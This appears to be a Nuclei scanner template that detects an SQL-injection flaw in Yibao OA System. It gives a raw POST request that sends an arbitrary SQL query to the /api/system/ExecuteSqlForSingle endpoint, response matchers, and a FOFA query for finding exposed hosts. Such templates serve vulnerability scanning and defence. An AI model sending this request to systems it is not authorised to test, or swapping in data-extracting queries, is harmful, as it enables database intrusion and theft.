漏洞描述
Yibao OA System is vulnerable to SQL Injection.
id: yibao-sqli
info:
name: Yibao OA System - SQL Injection
author: DhiyaneshDK
severity: high
description: Yibao OA System is vulnerable to SQL Injection.
metadata:
verified: true
max-request: 1
fofa-query: product="顶讯科技-易宝OA系统"
tags: yiboo,oa,sqli,vuln
variables:
num: "999999999"
http:
- raw:
- |
POST /api/system/ExecuteSqlForSingle HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
token=zxh&sql=select substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','{{num}}')),3,32)&strParameters
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'data":"{{md5({{num}})}}'
- type: word
part: header
words:
- application/json
- type: status
status:
- 200
# digest: 4a0a00473045022100c68cd5a1584b88d2c2c2e8fa15af79737a7381848155256810050c244e1792ef022043a2dd2560c0e96abda3da76097bf3a05fb6ca02a7e5fae8449b4bdcaea6d14c:922c64590222798bb761d5b6d8e72950